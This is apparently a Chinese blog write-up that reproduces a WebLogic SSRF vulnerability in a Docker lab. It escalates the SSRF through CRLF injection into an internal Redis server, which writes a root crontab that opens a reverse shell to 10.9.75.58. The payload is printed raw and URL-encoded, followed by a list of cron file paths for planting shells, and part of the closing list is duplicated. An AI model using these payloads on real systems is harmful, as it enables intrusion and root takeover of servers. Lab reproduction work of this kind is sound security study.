Weblogic SSRF 漏洞复现

最新推荐文章于 2024-04-14 16:57:00 发布

置顶 g_h_i

最新推荐文章于 2024-04-14 16:57:00 发布

阅读量391

点赞数 5

分类专栏：漏洞复现文章标签：网络安全安全运维

本文链接：https://blog.csdn.net/qq_45953122/article/details/132841297

版权

漏洞复现专栏收录该内容

9 篇文章 0 订阅

订阅专栏

SSRF 实例

Weblogic SSRF 到GetShell

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

测试环境搭建

编译及启动测试环境

sudo docker compose up -d

访问http://10.9.75.58:7001/console :

访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用:

点击Search Public Registries ,并点击searh,进行抓包：

我们猜测url这里存在ssrf漏洞，我们验证一下：

首先获取一个域名，这里获得的域名为：budkzl.dnslog.cn ,然后把该域名放到抓取的url中，为了便于确认，在前面写上123. ：

查看是否能完成该DNS解析：

我们看到这里有请求，说明我们这里输入的url地址，它会替我们发送url请求，说明这里存在ssrf漏洞

我们查看一下这个响应包：

我们把url换成127.0.0.1，查看其响应：

有响应，说明127.0.0.1这个地址是存活的，然后根据报错信息得出：通过HTTP不能连接服务器的80端口，所以80端口没有开放

我们找一个现在一定开放的端口（7001端口）试一下：

状态码第一位数字决定了不同的响应状态，有如下：

1 >> 开始发送请求 >> 消息
2 >> 请求发送完成 >> 成功
3 >> 开始读取响应 >> 重定向
4 >> 读取响应结束 >> 请求错误
5 表示服务器错误

常见服务器状态码
200：服务器响应正常，并正确返回。
304：该目标资源在上次请求后没有任何修改（通常用于浏览器的缓存机制，使用GET请求时尤其需要注意）。
400：无法找到请求的资源，可能原因：
(1) 语义有误，当前请求无法被服务器理解。
(2) 请求参数有误。
401：要访问的目标资源的权限不够，或者说当前请求需要用户验证；
403：没有权限访问资源。
404：找不到访问的对象，或者要访问的目标资源不存在。
405：要访问的目标资源被禁止。
414：请求的URL太长。
500：服务器内部代码错误。

还是不清楚了，那我们可以对比一下7002端口（没有开放）：

现在我们就可以对本机的ip做探测，目标一般开的是docker环境。

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），发现172.22.0.2:6379可以连通：

将172.22.0.2输入到url请求中：

将172.21.0.1输入到url请求中：

这时，我们已经知道了172.22.0.2这个IP地址是存活的，那么我们可以判断有哪些端口是开放的

检测3389 （远程桌面）端口：

没有开放3389端口。

检测6379（redis数据库）端口：

表示6379端口是开放的。并且没有回显

既然我们知道了redis数据库端口是开放的，我们也知道redis数据库存在未授权访问漏洞，我们可以利用其进行读写文件。

我们采用计划任务来获取反弹shell

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.58/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.58%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意，换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送：

&operator=http://172.22.0.2:6379/gehuii%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.58%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aagehui

成功反弹shell：

补充：

最后补充一下，可进行利用的cron有如下几个地方：

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
tab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件